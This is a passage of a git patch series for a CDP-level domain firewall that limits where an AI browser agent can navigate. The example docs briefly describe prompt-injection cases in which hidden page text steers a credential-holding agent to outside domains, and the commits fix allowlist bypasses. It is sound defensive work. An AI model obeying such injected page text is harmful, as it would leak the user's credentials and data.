--create (or BROWSERBASE_PROJECT_ID) - --session-id Attach to an existing Browserbase session + --session-id Browserbase session ID --cdp-url Direct CDP WebSocket URL (local Chrome) --allowlist Comma-separated allowed domains --denylist Comma-separated denied domains --default Default verdict: allow or deny (default: deny) --quiet Suppress per-request logging --json Log events as JSON lines - --help Show help + --help Show this help Environment: - BROWSERBASE_API_KEY Required when using --create or --session-id - BROWSERBASE_PROJECT_ID Used by --create if --project-id not specified + BROWSERBASE_API_KEY Required when using --session-id ``` ### Getting the CDP URL diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 3a8cc94..dcba344 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -26,8 +26,6 @@ function parseArgs() { const opts = { sessionId: null, cdpUrl: null, - create: false, - projectId: null, allowlist: [], denylist: [], defaultVerdict: "deny", @@ -43,12 +41,6 @@ function parseArgs() { case "--cdp-url": opts.cdpUrl = args[++i]; break; - case "--create": - opts.create = true; - break; - case "--project-id": - opts.projectId = args[++i]; - break; case "--allowlist": opts.allowlist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); break; @@ -70,14 +62,11 @@ function parseArgs() { domain-firewall — Protect a browser session with domain policies Usage: - node domain-firewall.mjs --create --allowlist "example.com" [options] node domain-firewall.mjs --session-id [options] node domain-firewall.mjs --cdp-url [options] Options: - --create Create a new Browserbase session with firewall - --project-id Project ID for --create (or BROWSERBASE_PROJECT_ID) - --session-id Attach to an existing Browserbase session + --session-id Browserbase session ID --cdp-url Direct CDP WebSocket URL (for local Chrome) --allowlist Comma-separated allowed domains --denylist Comma-separated denied domains @@ -87,15 +76,14 @@ Options: --help Show this help Environment: - BROWSERBASE_API_KEY Required when using --create or --session-id - BROWSERBASE_PROJECT_ID Used by --create if --project-id not specified + BROWSERBASE_API_KEY Required when using --session-id `); process.exit(0); } } - if (!opts.sessionId && !opts.cdpUrl && !opts.create) { - console.error("[firewall] Error: --create, --session-id, or --cdp-url is required"); + if (!opts.sessionId && !opts.cdpUrl) { + console.error("[firewall] Error: --session-id or --cdp-url is required"); process.exit(1); } @@ -148,47 +136,6 @@ function evaluate(domain, opts) { }; } -// ============================================================================= -// Session creation -// ============================================================================= - -function createBBSession(projectId) { - let pid = projectId || process.env.BROWSERBASE_PROJECT_ID; - if (!pid) { - // Auto-detect from bb projects list - try { - const raw = execFileSync("bb", ["projects", "list"], { - encoding: "utf-8", - timeout: 15000, - stdio: ["pipe", "pipe", "pipe"], - }); - const projects = JSON.parse(raw.trim()); - if (Array.isArray(projects) && projects.length > 0) { - pid = projects[0].id; - } - } catch {} - } - if (!pid) { - console.error("[firewall] Error: --project-id or BROWSERBASE_PROJECT_ID required for --create"); - process.exit(1); - } - try { - const body = JSON.stringify({ projectId: pid, keepAlive: true }); - const raw = execFileSync("bb", ["sessions", "create", "--body", body], { - encoding: "utf-8", - timeout: 30000, - stdio: ["pipe", "pipe", "pipe"], - }); - const data = JSON.parse(raw.trim()); - if (!data.id) throw new Error("No session ID in response"); - return data.id; - } catch (e) { - console.error("[firewall] Failed to create session."); - console.error(`[firewall] ${e.message}`); - process.exit(1); - } -} - // ============================================================================= // CDP WebSocket URL resolution // ============================================================================= @@ -282,16 +229,6 @@ async function main() { console.error("[firewall] Error: BROWSERBASE_API_KEY not set."); process.exit(1); } - - // Create a new session if requested - if (opts.create) { - const sessionId = createBBSession(opts.projectId); - opts.sessionId = sessionId; - // Print session ID to stdout so agents/scripts can capture it - console.log(sessionId); - console.error(`[firewall] Created session ${sessionId}`); - } - console.error(`[firewall] Connecting to session ${opts.sessionId}...`); wsUrl = getCDPUrl(opts.sessionId); } @@ -432,17 +369,6 @@ async function main() { await sendCDP("Fetch.disable"); } catch {} ws.close(); - // If we created the session, release it - if (opts.create && opts.sessionId) { - try { - execFileSync("bb", ["sessions", "update", opts.sessionId, "--status", "REQUEST_RELEASE"], { - encoding: "utf-8", - timeout: 10000, - stdio: ["pipe", "pipe", "pipe"], - }); - console.error(`[firewall] Released session ${opts.sessionId}`); - } catch {} - } process.exit(0); }; From e2d4dd35112d28d4ea23ba9f42c4df133e19de1a Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 11:25:33 -0700 Subject: [PATCH 20/25] Add wildcard subdomain matching to CLI allowlist/denylist MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --allowlist "*.stripe.com,stripe.com" now matches all Stripe subdomains. Uses simple suffix matching (endsWith) instead of regex — one behavior to reason about, no footguns. *.stripe.com matches docs.stripe.com, api.stripe.com *.stripe.com does NOT match stripe.com (include both if needed) Exact matching still works unchanged for non-wildcard entries. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 4 ++-- skills/domain-firewall/SKILL.md | 2 +- .../domain-firewall/scripts/domain-firewall.mjs | 17 +++++++++++++++-- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index d6eb9ac..ad13cc6 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -8,7 +8,7 @@ ```bash node domain-firewall.mjs --session-id $SID \ - --allowlist "chase.com,secure.chase.com,auth.chase.com" \ + --allowlist "chase.com,*.chase.com" \ --default deny ``` @@ -205,6 +205,6 @@ await installDomainFirewall(page, { ## Tips - **The common thread**: every use case involves an agent with access to sensitive credentials or data, browsing pages it doesn't fully control. One CLI command scopes the blast radius. -- **Include subdomains explicitly**: The CLI does exact domain matching — `--allowlist "chase.com"` does NOT match `secure.chase.com`. List each subdomain: `--allowlist "chase.com,secure.chase.com,auth.chase.com"`. For glob/wildcard matching, use the TypeScript API's `pattern()` policy. +- **Use wildcards for subdomains**: `--allowlist "chase.com"` does NOT match `secure.chase.com`. Use `--allowlist "chase.com,*.chase.com"` to cover the base domain and all subdomains. - **Denylist + allowlist together**: denylist is checked first. Use this to block specific bad actors within an otherwise-allowed set. - **`--json` for compliance**: pipe to a file for post-session audit trails that prove the agent stayed within authorized domains. diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 8adc0c1..14984b2 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -204,7 +204,7 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' 1. **Start the firewall before browsing** — run `domain-firewall.mjs` before the first `browse open` so all navigations are intercepted from the start. 2. **Include your starting URL's domain** — the allowlist must include the domain you navigate to first, otherwise it will be blocked. -3. **Include subdomains explicitly in `--allowlist`** — `stripe.com` and `docs.stripe.com` are separate domains. The CLI does exact domain matching, so list each subdomain: `--allowlist "stripe.com,docs.stripe.com,api.stripe.com"`. For glob/wildcard matching (e.g. `*.stripe.com`), use the TypeScript API's `pattern()` policy. +3. **Use wildcards for subdomains** — `stripe.com` and `docs.stripe.com` are separate domains. Use `--allowlist "stripe.com,*.stripe.com"` to allow the base domain and all subdomains. The `*` prefix matches any subdomain (e.g. `*.stripe.com` matches `docs.stripe.com`, `api.stripe.com`). Note that `*.stripe.com` does NOT match `stripe.com` itself — include both if you need the base domain. 4. **Denylist takes priority** — a domain on both the denylist and allowlist will be denied. 5. **Use `--json` for programmatic analysis** — pipe to `jq` or save to a file for post-session review. 6. **Use `--default deny` for high-security tasks** — only explicitly allowed domains pass through. This is the default. diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index dcba344..b3c11ec 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -111,15 +111,28 @@ function ts() { // Policy evaluation // ============================================================================= +function domainMatches(domain, entries) { + for (const entry of entries) { + if (entry.startsWith("*.")) { + // Wildcard: *.stripe.com matches docs.stripe.com, api.stripe.com + if (domain.endsWith(entry.slice(1))) return true; + } else { + // Exact: stripe.com matches stripe.com only + if (domain === entry) return true; + } + } + return false; +} + function evaluate(domain, opts) { // Denylist takes priority - if (opts.denylist.length > 0 && opts.denylist.includes(domain)) { + if (opts.denylist.length > 0 && domainMatches(domain, opts.denylist)) { return { action: "BLOCKED", policy: "denylist" }; } // If allowlist is specified, only listed domains pass if (opts.allowlist.length > 0) { - if (opts.allowlist.includes(domain)) { + if (domainMatches(domain, opts.allowlist)) { return { action: "ALLOWED", policy: "allowlist" }; } // Not on allowlist → use default From b2db3d161c451fadeb31c4a6af7d728be3cab05b Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 11:29:59 -0700 Subject: [PATCH 21/25] Prefer browser-level CDP URL over page-level Page-level preference caused 500 errors when other CDP clients (browse CLI, Stagehand) tried to connect to the same page. The auto-attach logic in main() already handles page attachment from the browser target, so the page-level URL extraction was unnecessary and counterproductive. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index b3c11ec..9020b66 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -162,17 +162,9 @@ function getCDPUrl(sessionId) { }); const data = JSON.parse(raw.trim()); - // Prefer page-level target (required for Fetch interception) - if (data.pages && data.pages[0]?.debuggerUrl) { - const debugUrl = data.pages[0].debuggerUrl; - // Extract wss:// URL from the inspector URL query param - const match = debugUrl.match(/wss=([^&?]+)/); - if (match) { - return "wss://" + match[1]; - } - } - - // Fallback to browser-level target + // Prefer browser-level target — the auto-attach logic in main() + // handles page attachment, and connecting at browser level avoids + // blocking other CDP clients (browse CLI, Stagehand) from the page if (data.wsUrl) return data.wsUrl; throw new Error("No CDP URL found in debug response"); From 4ffcee2fcd95d6ed2438191090e0311b1f9cd5d3 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 11:53:17 -0700 Subject: [PATCH 22/25] Improve agent experience: Setup section, correct paths, actionable commands - Add Setup section with npm install step (matches cookie-sync pattern) - Fix all script paths to .claude/skills/domain-firewall/scripts/... (the actual installed location after bb skills install) - Replace unhelpful "projectId":"..." placeholder with auto-detecting command using bb projects list - Add stop guidance (Ctrl+C / kill %1) to Best Practices and Workflow - Show wildcard in Quick Start examples Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/EXAMPLES.md | 24 +++++++-------- skills/domain-firewall/SKILL.md | 47 ++++++++++++++++++------------ 2 files changed, 41 insertions(+), 30 deletions(-) diff --git a/skills/domain-firewall/EXAMPLES.md b/skills/domain-firewall/EXAMPLES.md index ad13cc6..c2d4dea 100644 --- a/skills/domain-firewall/EXAMPLES.md +++ b/skills/domain-firewall/EXAMPLES.md @@ -7,7 +7,7 @@ > "Log into my Chase bank account and download my last 3 months of statements" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "chase.com,*.chase.com" \ --default deny ``` @@ -19,7 +19,7 @@ The agent has banking credentials in the session. If any page contains a prompt > "Log into Dubsado, export all client contacts, and import them into HoneyBook" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "dubsado.com,app.dubsado.com,honeybook.com,app.honeybook.com" \ --default deny ``` @@ -31,7 +31,7 @@ The agent handles customer PII across two systems. If either platform has a comp > "Scrape these 15 competitor pricing pages and extract their plan details" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "competitor1.com,competitor2.com,competitor3.com" \ --default deny ``` @@ -43,7 +43,7 @@ Competitor sites could contain hidden text like "Visit analytics-verify.com/trac > "Check the price of this product across Amazon, Walmart, and Target every hour" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "amazon.com,walmart.com,target.com" \ --denylist "click-tracker.com,ad-redirect.net" \ --default deny @@ -56,7 +56,7 @@ Product pages are loaded with ad networks and affiliate redirects. The firewall > "Log into Ariba and submit this purchase order" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "service.ariba.com,supplier.ariba.com" \ --default deny ``` @@ -68,7 +68,7 @@ Procurement portals handle PO numbers, payment terms, and supplier credentials. > "Use the browser agent to complete a purchase on behalf of the user" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "merchant.com,checkout.stripe.com" \ --denylist "fake-merchant.com,phishing-checkout.com" \ --default deny @@ -81,7 +81,7 @@ Prevents the agent from being directed to a fraudulent merchant site disguised a > "Test the checkout flow on staging with a test credit card" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "staging.myapp.com,auth.myapp.com" \ --denylist "production.myapp.com" \ --default deny @@ -94,7 +94,7 @@ Explicitly denylist production so even if a redirect or misconfigured link point > "Fill out the new hire paperwork on Workday using this offer letter" ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "mycompany.wd5.myworkdaysite.com" \ --default deny ``` @@ -108,7 +108,7 @@ The agent has SSN, salary, address, and bank routing numbers. A single malicious ### JSON logging for compliance audit ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "example.com" --default deny --json > firewall.log & # Analyze blocked navigations @@ -122,10 +122,10 @@ cat firewall.log | jq -r 'select(.action == "BLOCKED") | .domain' | sort | uniq ```bash # Create a session -SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) +SESSION_ID=$(bb sessions create --body '{"projectId":"'"$(bb projects list | jq -r '.[0].id')"'","keepAlive":true}' | jq -r .id) # Attach the firewall in background -node domain-firewall.mjs --session-id $SESSION_ID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SESSION_ID \ --allowlist "docs.stripe.com,stripe.com" --default deny & # Browse normally — firewall is transparent @@ -144,7 +144,7 @@ browse snapshot CDP_URL=$(curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl) # Start firewall -node domain-firewall.mjs --cdp-url "$CDP_URL" \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --cdp-url "$CDP_URL" \ --allowlist "localhost" --default deny ``` diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 14984b2..5611c9e 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -16,27 +16,34 @@ metadata: Protect any Browserbase or local Chrome session from unauthorized navigations. One CLI command intercepts every navigation at the Chrome DevTools Protocol level and enforces domain policies — no code changes required. +## Setup + +Install the dependency before first use: + +```bash +cd .claude/skills/domain-firewall && npm install +``` + ## Quick Start ```bash # 1. Create a Browserbase session -bb sessions create --body '{"projectId":"...","keepAlive":true}' -# → returns session ID +SESSION_ID=$(bb sessions create --body '{"projectId":"'"$(bb projects list | jq -r '.[0].id')"'","keepAlive":true}' | jq -r .id) # 2. Attach the firewall -node skills/domain-firewall/scripts/domain-firewall.mjs \ - --session-id \ - --allowlist "docs.stripe.com,stripe.com,github.com" \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs \ + --session-id $SESSION_ID \ + --allowlist "docs.stripe.com,stripe.com,*.stripe.com" \ --default deny # Or for local Chrome (with --remote-debugging-port=9222): -node skills/domain-firewall/scripts/domain-firewall.mjs \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs \ --cdp-url "ws://localhost:9222/devtools/browser/..." \ --allowlist "localhost,example.com" \ --default deny ``` -The firewall runs in the background. Allowed navigations pass through silently. Blocked navigations are killed at the CDP level — the browser shows `ERR_BLOCKED_BY_CLIENT` and the attacker receives nothing. +The firewall runs in the foreground. Allowed navigations pass through silently. Blocked navigations are killed at the CDP level — the browser shows `ERR_BLOCKED_BY_CLIENT` and the attacker receives nothing. ## Why This Matters @@ -57,12 +64,12 @@ The typical workflow for a coding agent using the `browse` CLI: ```bash # 1. Create a Browserbase session -SESSION_ID=$(bb sessions create --body '{"projectId":"...","keepAlive":true}' | jq -r .id) +SESSION_ID=$(bb sessions create --body '{"projectId":"'"$(bb projects list | jq -r '.[0].id')"'","keepAlive":true}' | jq -r .id) # 2. Attach the firewall (runs in background) -node skills/domain-firewall/scripts/domain-firewall.mjs \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs \ --session-id $SESSION_ID \ - --allowlist "docs.stripe.com,stripe.com" \ + --allowlist "docs.stripe.com,stripe.com,*.stripe.com" \ --default deny & # 3. Browse normally — firewall is transparent @@ -73,6 +80,9 @@ browse snapshot # 4. If the agent or page tries to navigate to an unlisted domain → BLOCKED # Firewall logs the decision to stderr in real-time: # [14:30:05] BLOCKED evil.com (default) + +# 5. Stop the firewall when done +kill %1 ``` ## CLI Reference @@ -81,8 +91,8 @@ browse snapshot domain-firewall.mjs — Protect a browser session with domain policies Usage: - node domain-firewall.mjs --session-id [options] - node domain-firewall.mjs --cdp-url [options] + node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id [options] + node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --cdp-url [options] Options: --session-id Browserbase session ID @@ -103,7 +113,7 @@ Environment: **Browserbase sessions** — the script resolves the CDP URL automatically via `bb sessions debug`: ```bash -node domain-firewall.mjs --session-id 25104007-3523-46f8-acba-ad529a3f538e +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id 25104007-3523-46f8-acba-ad529a3f538e ``` **Local Chrome** — launch Chrome with remote debugging, then pass the WebSocket URL: @@ -118,7 +128,7 @@ curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl # → ws://localhost:9222/devtools/browser/... # Start firewall -node domain-firewall.mjs --cdp-url "ws://localhost:9222/devtools/browser/..." \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --cdp-url "ws://localhost:9222/devtools/browser/..." \ --allowlist "localhost" --default deny ``` @@ -166,7 +176,7 @@ JSON mode (`--json`): ### Restrict agent to specific domains ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "docs.stripe.com,stripe.com,github.com" \ --default deny ``` @@ -174,7 +184,7 @@ node domain-firewall.mjs --session-id $SID \ ### Block known-bad domains, allow everything else ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --denylist "evil.com,phishing-site.com,malware.download" \ --default allow ``` @@ -184,7 +194,7 @@ node domain-firewall.mjs --session-id $SID \ Denylist is checked first, then allowlist, then default: ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --denylist "ads.example.com" \ --allowlist "example.com,cdn.example.com" \ --default deny @@ -193,7 +203,7 @@ node domain-firewall.mjs --session-id $SID \ ### Pipe JSON output to a file for analysis ```bash -node domain-firewall.mjs --session-id $SID \ +node .claude/skills/domain-firewall/scripts/domain-firewall.mjs --session-id $SID \ --allowlist "example.com" --default deny --json > firewall.log & # Later: analyze blocks @@ -209,6 +219,7 @@ cat firewall.log | jq 'select(.action == "BLOCKED")' 5. **Use `--json` for programmatic analysis** — pipe to `jq` or save to a file for post-session review. 6. **Use `--default deny` for high-security tasks** — only explicitly allowed domains pass through. This is the default. 7. **Use `--default allow` with a denylist for low-friction browsing** — block known-bad domains while allowing general navigation. +8. **Stop the firewall when done** — press Ctrl+C in the foreground, or `kill %1` if backgrounded with `&`. The firewall disables Fetch interception on shutdown. ## Troubleshooting From 5c7e9f41af9353e3942b1853dfa0d09ea8dfe1eb Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 13:00:33 -0700 Subject: [PATCH 23/25] Filter empty entries from allowlist/denylist parsing A trailing comma in --allowlist "stripe.com," created an empty string entry that matched data:, blob:, and file: URLs (which have empty hostnames), bypassing the firewall policy. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 9020b66..d662b17 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -42,10 +42,10 @@ function parseArgs() { opts.cdpUrl = args[++i]; break; case "--allowlist": - opts.allowlist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); + opts.allowlist = args[++i].split(",").map((d) => normalizeDomain(d.trim())).filter(Boolean); break; case "--denylist": - opts.denylist = args[++i].split(",").map((d) => normalizeDomain(d.trim())); + opts.denylist = args[++i].split(",").map((d) => normalizeDomain(d.trim())).filter(Boolean); break; case "--default": opts.defaultVerdict = args[++i]; From 3eee13811e421ac81333e2c6e5f9a5beb40d322c Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 13:27:59 -0700 Subject: [PATCH 24/25] =?UTF-8?q?Stop=20stripping=20www.=20prefix=20?= =?UTF-8?q?=E2=80=94=20breaks=20wildcard=20denylist=20matching?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit normalizeDomain("www.evil.com") produced "evil.com", which failed to match *.evil.com via endsWith(".evil.com") because the string was shorter than the suffix. This let www. subdomains bypass wildcard denylist entries. Fix: remove www. stripping entirely. Lowercasing is sufficient for normalization. Users who want to match www. subdomains can use *.example.com which now correctly matches www.example.com. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/SKILL.md | 2 +- skills/domain-firewall/scripts/domain-firewall.mjs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 5611c9e..59e3f06 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -163,7 +163,7 @@ JSON mode (`--json`): 4. On every `Fetch.requestPaused` event: - Non-Document resources (images, CSS, JS) pass through immediately - Internal URLs (chrome://, about://) pass through; `data:` URLs are evaluated by policy - - The domain is extracted and normalized (strip `www.`, lowercase) + - The domain is extracted and lowercased - Denylist is checked first — if the domain is listed, the request is blocked - Allowlist is checked next — if the domain is listed, the request is allowed - If neither list matches, the `--default` verdict applies diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index d662b17..c46eae6 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -100,7 +100,7 @@ Environment: // ============================================================================= function normalizeDomain(hostname) { - return hostname.toLowerCase().replace(/^www\./, ""); + return hostname.toLowerCase(); } function ts() { From 93df23ba802b9478da1ab53a71c168fc288ba5df Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Tue, 7 Apr 2026 13:30:33 -0700 Subject: [PATCH 25/25] Update REFERENCE.md: remove stale www. stripping claim Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/REFERENCE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/skills/domain-firewall/REFERENCE.md b/skills/domain-firewall/REFERENCE.md index 260904a..935f291 100644 --- a/skills/domain-firewall/REFERENCE.md +++ b/skills/domain-firewall/REFERENCE.md @@ -139,7 +139,7 @@ async function installDomainFirewall( function allowlist(domains: string[]): FirewallPolicy ``` -Returns `"allow"` if the normalized domain is in the list, `"abstain"` otherwise. Domains are normalized (stripped of `www.`, lowercased) on construction. +Returns `"allow"` if the domain is in the list, `"abstain"` otherwise. Domains are lowercased on construction. | Parameter | Type | Description | |-----------|------|-------------|